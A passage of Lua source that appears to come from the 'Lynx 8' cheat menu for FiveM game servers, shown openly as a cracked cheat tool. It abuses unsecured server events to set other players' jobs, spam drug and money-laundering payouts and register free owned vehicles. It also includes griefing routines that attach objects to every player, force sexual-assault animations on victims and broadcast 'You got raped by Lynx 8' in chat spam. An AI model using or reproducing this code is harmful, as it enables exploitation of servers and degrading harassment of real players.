debugLog('found ' .. ao[i].name .. ' ' .. ao[i].identifier)
end
identifier = ao[i].identifier
end
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
bu,
'taxi',
3,
'hire'
)
end
)
end
end
function AmbulancePlayer(bt)
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
local bu = nil
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
if name == GetPlayerName(bt) then
bu = ao[i].identifier
debugLog('found ' .. ao[i].name .. ' ' .. ao[i].identifier)
end
identifier = ao[i].identifier
end
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
bu,
'ambulance',
3,
'hire'
)
end
)
end
end
function PolicePlayer(bt)
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
local bu = nil
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
if name == GetPlayerName(bt) then
bu = ao[i].identifier
debugLog('found ' .. ao[i].name .. ' ' .. ao[i].identifier)
end
identifier = ao[i].identifier
end
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
bu,
'police',
3,
'hire'
)
end
)
end
end
function MecanoPlayer(bt)
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
local bu = nil
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
if name == GetPlayerName(bt) then
bu = ao[i].identifier
debugLog('found ' .. ao[i].name .. ' ' .. ao[i].identifier)
end
identifier = ao[i].identifier
end
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
bu,
'mecano',
3,
'hire'
)
end
)
end
end
function bananaparty()
local bv = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true,
true)
local bw = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true,
true)
local bx = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true,
true)
AttachEntityToEntity(
bv,
GetPlayerPed(SelectedPlayer),
GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
false,
true,
1,
true
)
AttachEntityToEntity(
bw,
GetPlayerPed(SelectedPlayer),
GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
false,
true,
1,
true
)
AttachEntityToEntity(
bx,
GetPlayerPed(SelectedPlayer),
GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
false,
true,
1,
true
)
end
function bananapartyall()
Citizen.CreateThread(
function()
for by = 0, 9 do
TriggerServerEvent(
'_chat:messageEntered',
'^13^24^3B^4y^5T^6e ^1C^2o^3m^4m^5u^6n^7i^1t^2y',
{141, 211, 255},
'^' ..
by ..
'Lynx 8 ~ www.lynxmenu.com'
)
end
for i = 0, 128 do
local bv = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0,
true, true, true)
local bw = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0,
true, true, true)
local bx = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0,
true, true, true)
AttachEntityToEntity(
bv,
GetPlayerPed(i),
GetPedBoneIndex(GetPlayerPed(i), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
false,
true,
1,
true
)
AttachEntityToEntity(
bw,
GetPlayerPed(i),
GetPedBoneIndex(GetPlayerPed(i), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
false,
true,
1,
true
)
AttachEntityToEntity(
bx,
GetPlayerPed(i),
GetPedBoneIndex(GetPlayerPed(i), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
false,
true,
1,
true
)
end
end
)
end
function rapeplayer()
Citizen.CreateThread(
function()
RequestModelSync('a_m_o_acult_01')
RequestAnimDict('rcmpaparazzo_2')
while not HasAnimDictLoaded('rcmpaparazzo_2') do
Citizen.Wait(0)
end
if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
while not NetworkHasControlOfEntity(veh) do
NetworkRequestControlOfEntity(veh)
Citizen.Wait(0)
end
SetEntityAsMissionEntity(veh, true, true)
DeleteVehicle(veh)
DeleteEntity(veh)
end
count = -0.2
for b = 1, 3 do
local x, y, z =
table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
local bz = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0,
true, false)
SetEntityAsMissionEntity(bz, true, true)
AttachEntityToEntity(
bz,
GetPlayerPed(SelectedPlayer),
4103,
11816,
count,
0.00,
0.0,
0.0,
0.0,
0.0,
false,
false,
false,
false,
2,
true
)
ClearPedTasks(GetPlayerPed(SelectedPlayer))
TaskPlayAnim(
GetPlayerPed(SelectedPlayer),
'rcmpaparazzo_2',
'shag_loop_poppy',
2.0,
2.5,
-1,
49,
0,
0,
0,
0
)
SetPedKeepTask(bz)
TaskPlayAnim(bz, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49,
0, 0, 0, 0)
SetEntityInvincible(bz, true)
count = count - 0.4
end
end
)
end
function RapeAllFunc()
for by = 0, 9 do
TriggerServerEvent(
'_chat:messageEntered',
'^13^24^3B^4y^5T^6e ^1C^2o^3m^4m^5u^6n^7i^1t^2y',
{141, 211, 255},
'^' .. by .. 'You got raped by Lynx 8'
)
end
Citizen.CreateThread(
function()
for i = 0, 128 do
RequestModelSync('a_m_o_acult_01')
RequestAnimDict('rcmpaparazzo_2')
while not HasAnimDictLoaded('rcmpaparazzo_2') do
Citizen.Wait(0)
end
if IsPedInAnyVehicle(GetPlayerPed(i), true) then
local veh = GetVehiclePedIsIn(GetPlayerPed(i), true)
while not NetworkHasControlOfEntity(veh) do
NetworkRequestControlOfEntity(veh)
Citizen.Wait(0)
end
SetEntityAsMissionEntity(veh, true, true)
DeleteVehicle(veh)
DeleteEntity(veh)
end
count = -0.2
for b = 1, 3 do
local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(i),
true))
local bz = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z,
0.0, true, false)
SetEntityAsMissionEntity(bz, true, true)
AttachEntityToEntity(
bz,
GetPlayerPed(i),
4103,
11816,
count,
0.00,
0.0,
0.0,
0.0,
0.0,
false,
false,
false,
false,
2,
true
)
ClearPedTasks(GetPlayerPed(i))
TaskPlayAnim(GetPlayerPed(i), 'rcmpaparazzo_2',
'shag_loop_poppy', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
SetPedKeepTask(bz)
TaskPlayAnim(bz, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1,
49, 0, 0, 0, 0)
SetEntityInvincible(bz, true)
count = count - 0.4
end
end
end
)
end
local function bA()
local bB = KeyboardInput('Enter X pos', '', 100)
local bC = KeyboardInput('Enter Y pos', '', 100)
local bD = KeyboardInput('Enter Z pos', '', 100)
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
drawNotification(
'~g~Teleported to coords!'
)
end
else
drawNotification('~r~Invalid coords!')
end
end
local function bE()
local name = KeyboardInput('Enter Blip Name', '', 100)
if name == '' then
drawNotification('~r~Invalid Blip Name!')
return bE()
else
local bB = KeyboardInput('Enter X pos', '', 100)
local bC = KeyboardInput('Enter Y pos', '', 100)
local bD = KeyboardInput('Enter Z pos', '', 100)
if bB ~= '' and bC ~= '' and bD ~= '' then
local bF = {{colour = 75, id = 84}}
for _, bG in pairs(bF) do
bG.blip = AddBlipForCoord(bB + 0.5, bC + 0.5, bD + 0.5)
SetBlipSprite(bG.blip, bG.id)
SetBlipDisplay(bG.blip, 4)
SetBlipScale(bG.blip, 0.9)
SetBlipColour(bG.blip, bG.colour)
SetBlipAsShortRange(bG.blip, true)
BeginTextCommandSetBlipName('STRING')
AddTextComponentString(name)
EndTextCommandSetBlipName(bG.blip)
end
else
drawNotification('~r~Invalid coords!')
end
end
end
local function bH()
local ar = GetPlayerPed(-1)
local bI = GetEntityCoords(ar, true)
local bJ = GetClosestVehicle(GetEntityCoords(ar, true), 1000.0, 0, 4)
local bK = GetEntityCoords(bJ, true)
local bL = GetClosestVehicle(GetEntityCoords(ar, true), 1000.0, 0, 16384)
local bM = GetEntityCoords(bL, true)
drawNotification('~y~Wait...')
Citizen.Wait(1000)
if bJ == 0 and bL == 0 then
drawNotification('~r~No Vehicle Found')
elseif bJ == 0 and bL ~= 0 then
if IsVehicleSeatFree(bL, -1) then
SetPedIntoVehicle(ar, bL, -1)
SetVehicleAlarm(bL, false)
SetVehicleDoorsLocked(bL, 1)
SetVehicleNeedsToBeHotwired(bL, false)
else
local bN = GetPedInVehicleSeat(bL, -1)
ClearPedTasksImmediately(bN)
SetEntityAsMissionEntity(bN, 1, 1)
DeleteEntity(bN)
SetPedIntoVehicle(ar, bL, -1)
SetVehicleAlarm(bL, false)
SetVehicleDoorsLocked(bL, 1)
SetVehicleNeedsToBeHotwired(bL, false)
end
drawNotification(
'~g~Teleported Into Nearest Vehicle!'
)
elseif bJ ~= 0 and bL == 0 then
if IsVehicleSeatFree(bJ, -1) then
SetPedIntoVehicle(ar, bJ, -1)
SetVehicleAlarm(bJ, false)
SetVehicleDoorsLocked(bJ, 1)
SetVehicleNeedsToBeHotwired(bJ, false)
else
local bN = GetPedInVehicleSeat(bJ, -1)
ClearPedTasksImmediately(bN)
SetEntityAsMissionEntity(bN, 1, 1)
DeleteEntity(bN)
SetPedIntoVehicle(ar, bJ, -1)
SetVehicleAlarm(bJ, false)
SetVehicleDoorsLocked(bJ, 1)
SetVehicleNeedsToBeHotwired(bJ, false)
end
drawNotification(
'~g~Teleported Into Nearest Vehicle!'
)
elseif bJ ~= 0 and bL ~= 0 then
if Vdist(bK.x, bK.y, bK.z, bI.x, bI.y, bI.z) < Vdist(bM.x, bM.y, bM.z,
bI.x, bI.y, bI.z) then
if IsVehicleSeatFree(bJ, -1) then
SetPedIntoVehicle(ar, bJ, -1)
SetVehicleAlarm(bJ, false)
SetVehicleDoorsLocked(bJ, 1)
SetVehicleNeedsToBeHotwired(bJ, false)
else
local bN = GetPedInVehicleSeat(bJ, -1)
ClearPedTasksImmediately(bN)
SetEntityAsMissionEntity(bN, 1, 1)
DeleteEntity(bN)
SetPedIntoVehicle(ar, bJ, -1)
SetVehicleAlarm(bJ, false)
SetVehicleDoorsLocked(bJ, 1)
SetVehicleNeedsToBeHotwired(bJ, false)
end
elseif Vdist(bK.x, bK.y, bK.z, bI.x, bI.y, bI.z) > Vdist(bM.x, bM.y, bM.z,
bI.x, bI.y, bI.z) then
if IsVehicleSeatFree(bL, -1) then
SetPedIntoVehicle(ar, bL, -1)
SetVehicleAlarm(bL, false)
SetVehicleDoorsLocked(bL, 1)
SetVehicleNeedsToBeHotwired(bL, false)
else
local bN = GetPedInVehicleSeat(bL, -1)
ClearPedTasksImmediately(bN)
SetEntityAsMissionEntity(bN, 1, 1)
DeleteEntity(bN)
SetPedIntoVehicle(ar, bL, -1)
SetVehicleAlarm(bL, false)
SetVehicleDoorsLocked(bL, 1)
SetVehicleNeedsToBeHotwired(bL, false)
end
end
drawNotification(
'~g~Teleported Into Nearest Vehicle!'
)
end
end
local function bO()
if DoesBlipExist(GetFirstBlipInfoId(8)) then
local bP = GetBlipInfoIdIterator(8)
local blip = GetFirstBlipInfoId(8, bP)
WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip,
Citizen.ResultAsVector())
wp = true
else
drawNotification('~r~No waypoint!')
end
local bQ = 0.0
height = 1000.0
while true do
Citizen.Wait(0)
if wp then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1)
== GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y, height)
FreezeEntityPosition(entity, true)
local bR = GetEntityCoords(entity, true)
if bQ == 0.0 then
height = height - 25.0
SetEntityCoords(entity, bR.x, bR.y, height)
bool, bQ = GetGroundZFor_3dCoord(bR.x, bR.y, bR.z, 0)
else
SetEntityCoords(entity, bR.x, bR.y, bQ)
FreezeEntityPosition(entity, false)
wp = false
height = 1000.0
bQ = 0.0
drawNotification(
'~g~Teleported to waypoint!'
)
break
end
end
end
end
local function bS()
local bT =
KeyboardInput('Enter Vehicle Spawn Name', '', 100)
if bT and IsModelValid(bT) and IsModelAVehicle(bT) then
RequestModel(bT)
while not HasModelLoaded(bT) do
Citizen.Wait(0)
end
local veh =
CreateVehicle(
GetHashKey(bT),
GetEntityCoords(PlayerPedId(-1)),
GetEntityHeading(PlayerPedId(-1)),
true,
true
)
SetPedIntoVehicle(PlayerPedId(-1), veh, -1)
else
drawNotification(
'~r~~h~Model is not valid!'
)
end
end
local function bU()
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0)
SetVehicleUndriveable(vehicle, false)
end
local function bV()
local veh = GetVehiclePedIsIn(GetPlayerPed(-1), false)
if not DoesEntityExist(veh) then
drawNotification(
'You must be in a ~r~vehicle ~w~to use this !'
)
else
TriggerServerEvent(
'advancedFuel:setEssence',
100,
GetVehicleNumberPlateText(veh),
GetDisplayNameFromVehicleModel(GetEntityModel(veh))
)
SetVehicleEngineOn(veh, true, false, false)
SetVehicleUndriveable(veh, false)
end
end
local function bW()
local ar = GetPlayerPed(-1)
local as = GetVehiclePedIsIn(ar, true)
local f =
KeyboardInput(
'Enter the plate license you want',
'',
100
)
if f ~= '' then
SetVehicleNumberPlateText(as, f)
end
end
function hweed()
TriggerServerEvent(
'esx_drugs:startHarvestWeed'
)
TriggerServerEvent(
'esx_drugs:startHarvestWeed'
)
TriggerServerEvent(
'esx_drugs:startHarvestWeed'
)
TriggerServerEvent(
'esx_drugs:startHarvestWeed'
)
TriggerServerEvent(
'esx_drugs:startHarvestWeed'
)
end
function tweed()
TriggerServerEvent(
'esx_drugs:startTransformWeed'
)
TriggerServerEvent(
'esx_drugs:startTransformWeed'
)
TriggerServerEvent(
'esx_drugs:startTransformWeed'
)
TriggerServerEvent(
'esx_drugs:startTransformWeed'
)
TriggerServerEvent(
'esx_drugs:startTransformWeed'
)
end
function sweed()
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
end
function hcoke()
TriggerServerEvent(
'esx_drugs:startHarvestCoke'
)
TriggerServerEvent(
'esx_drugs:startHarvestCoke'
)
TriggerServerEvent(
'esx_drugs:startHarvestCoke'
)
TriggerServerEvent(
'esx_drugs:startHarvestCoke'
)
TriggerServerEvent(
'esx_drugs:startHarvestCoke'
)
end
function tcoke()
TriggerServerEvent(
'esx_drugs:startTransformCoke'
)
TriggerServerEvent(
'esx_drugs:startTransformCoke'
)
TriggerServerEvent(
'esx_drugs:startTransformCoke'
)
TriggerServerEvent(
'esx_drugs:startTransformCoke'
)
TriggerServerEvent(
'esx_drugs:startTransformCoke'
)
end
function scoke()
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
end
function hmeth()
TriggerServerEvent(
'esx_drugs:startHarvestMeth'
)
TriggerServerEvent(
'esx_drugs:startHarvestMeth'
)
TriggerServerEvent(
'esx_drugs:startHarvestMeth'
)
TriggerServerEvent(
'esx_drugs:startHarvestMeth'
)
TriggerServerEvent(
'esx_drugs:startHarvestMeth'
)
end
function tmeth()
TriggerServerEvent(
'esx_drugs:startTransformMeth'
)
TriggerServerEvent(
'esx_drugs:startTransformMeth'
)
TriggerServerEvent(
'esx_drugs:startTransformMeth'
)
TriggerServerEvent(
'esx_drugs:startTransformMeth'
)
TriggerServerEvent(
'esx_drugs:startTransformMeth'
)
end
function smeth()
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
end
function hopi()
TriggerServerEvent(
'esx_drugs:startHarvestOpium'
)
TriggerServerEvent(
'esx_drugs:startHarvestOpium'
)
TriggerServerEvent(
'esx_drugs:startHarvestOpium'
)
TriggerServerEvent(
'esx_drugs:startHarvestOpium'
)
TriggerServerEvent(
'esx_drugs:startHarvestOpium'
)
end
function topi()
TriggerServerEvent(
'esx_drugs:startTransformOpium'
)
TriggerServerEvent(
'esx_drugs:startTransformOpium'
)
TriggerServerEvent(
'esx_drugs:startTransformOpium'
)
TriggerServerEvent(
'esx_drugs:startTransformOpium'
)
TriggerServerEvent(
'esx_drugs:startTransformOpium'
)
end
function sopi()
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
end
function mataaspalarufe()
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
TriggerServerEvent(
'esx_blanchisseur:startWhitening',
85
)
end
function matanumaispalarufe()
TriggerServerEvent(
'esx_drugs:stopHarvestCoke'
)
TriggerServerEvent(
'esx_drugs:stopTransformCoke'
)
TriggerServerEvent('esx_drugs:stopSellCoke')
TriggerServerEvent(
'esx_drugs:stopHarvestMeth'
)
TriggerServerEvent(
'esx_drugs:stopTransformMeth'
)
TriggerServerEvent('esx_drugs:stopSellMeth')
TriggerServerEvent(
'esx_drugs:stopHarvestWeed'
)
TriggerServerEvent(
'esx_drugs:stopTransformWeed'
)
TriggerServerEvent('esx_drugs:stopSellWeed')
TriggerServerEvent(
'esx_drugs:stopHarvestOpium'
)
TriggerServerEvent(
'esx_drugs:stopTransformOpium'
)
TriggerServerEvent('esx_drugs:stopSellOpium')
drawNotification(
'~r~Everything is now stopped.'
)
end
local function bX()
local bT =
KeyboardInput('Enter Vehicle Spawn Name', '', 100)
local bY =
KeyboardInput(
'Enter Vehicle Licence Plate',
'',
100
)
if bT and IsModelValid(bT) and IsModelAVehicle(bT) then
RequestModel(bT)
while not HasModelLoaded(bT) do
Citizen.Wait(0)
end
local veh =
CreateVehicle(
GetHashKey(bT),
GetEntityCoords(PlayerPedId(-1)),
GetEntityHeading(PlayerPedId(-1)),
true,
true
)
SetVehicleNumberPlateText(veh, bY)
local bZ = ESX.Game.GetVehicleProperties(veh)
TriggerServerEvent('esx_vehicleshop:setVehicleOwned', bZ)
drawNotification('~g~~h~Success')
else
drawNotification(
'~r~~h~Model is not valid !'
)
end
end
function daojosdinpatpemata()
local ar = GetPlayerPed(-1)
local as = GetVehiclePedIsIn(ar, true)
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
SetVehicleOnGroundProperly(as)
drawNotification('~g~Vehicle Flipped!')
else
drawNotification("~r~You Aren't In The Driverseat Of A Vehicle!")
end
end
function SpectatePlayer(c4)
local ar = PlayerPedId(-1)
c3 = not c3
local c5 = GetPlayerPed(c4)
if c3 then
local c6, c7, c8 = table.unpack(GetEntityCoords(c5, false))
RequestCollisionAtCoord(c6, c7, c8)
NetworkSetInSpectatorMode(true, c5)
drawNotification('Spectating ' .. GetPlayerName(c4))
else
local c6, c7, c8 = table.unpack(GetEntityCoords(c5, false))
RequestCollisionAtCoord(c6, c7, c8)
NetworkSetInSpectatorMode(false, c5)
drawNotification('Stopped Spectating ' .. GetPlayerName(c4))
end
end
function ShootPlayer(c4)
local c9 = GetPedBoneCoords(c4, GetEntityBoneIndexByName(c4, 'SKEL_HEAD'), 0.0,
0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(-1), c9.x, c9.y, c9.z, true)
end
function presensecheck:fftrue()
Feltzer = self.state
end
function untested:ffsfalse()
ffs = self.state
end
function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1,
false
)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1,
false
)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1,
false
)
SetVehicleMod(
GetVehiclePedIsIn(GetPlayerPed(-1), false),
38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1,
true
)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
end
function DelVeh(veh)
SetEntityAsMissionEntity(Object, 1, 1)
DeleteEntity(Object)
SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
end
function Initialize(ca)
lolxdshit = '~g~Logged'
local ca = RequestScaleformMovie(ca)
while not HasScaleformMovieLoaded(ca) do
Citizen.Wait(1)
end
PushScaleformMovieFunction(ca, 'SHOW_SHARD_WASTED_MP_MESSAGE')
PushScaleformMovieFunctionParameterString(lolxdshit)
PopScaleformMovieFunctionVoid()
return ca
end
local cb = 0
a = 'l'
b = 'y'
p = 'n'
br = 'x'
y = br .. br
yes = 879
forse = yes + 458
yep = 'give me a key'
local by = a .. b .. p .. br .. forse .. 'official-Crack'
local function cc()
local s = "Your a bit dumb"
drawNotification("~h~You think i left this in?")
if run.scriptcheck == true and ffs == true then
run.scriptcheck = false
end
return s
end
function Clean(veh)
SetVehicleDirtLevel(veh, 15.0)
end
function Clean2(veh)
SetVehicleDirtLevel(veh, 1.0)
end
function RequestControl(entity)
local cd = 0
NetworkRequestControlOfEntity(entity)
while not NetworkHasControlOfEntity(entity) do
cd = cd + 100
Citizen.Wait(100)
if cd > 5000 then
drawNotification(
'Hung for 5 seconds, killing to prevent issues...'
)
end
end
end
function getEntity(c4)
local f, entity = GetEntityPlayerIsFreeAimingAt(c4,
Citizen.ReturnResultAnyway())
return entity
end
function GetInputMode()
return Citizen.InvokeNative(0xA571D46727E2B718, 2) and 'MouseAndKeyboard' or
'GamePad'
end
Citizen.CreateThread(function()
while run.runstate == false do
run.runstate = Feltzer
Citizen.Wait(50)
end
end)
--[[Citizen.CreateThread(function()
while presense do
Citizen.Wait(50)
if ffs == true and run.scriptcheck == false and IsDisabledControlPressed(0,
178) then
local bB = KKLM('', 100)
if bB == "BadCode" then
presensecheck:fftrue(self)
untested:ffsfalse(self)
break
elseif bB == "Desudo" then
drawNotification("~h~Really? - ~g~Fallen~r~#0811")
untested:ffsfalse(self)
break
else
run.scriptcheck = true
drawNotification("~h~Im going to be honest, this is a simple login system,
just go find the thread and break in
")
break
end
end
end
end)]]
local cg = true
local ch = false
local ci = true
Citizen.CreateThread(
function()
while true do
Wait(1)
for G = 0, 128 do
if NetworkIsPlayerActive(G) and GetPlayerPed(G) ~= GetPlayerPed(-1)
then
ped = GetPlayerPed(G)
blip = GetBlipFromEntity(ped)
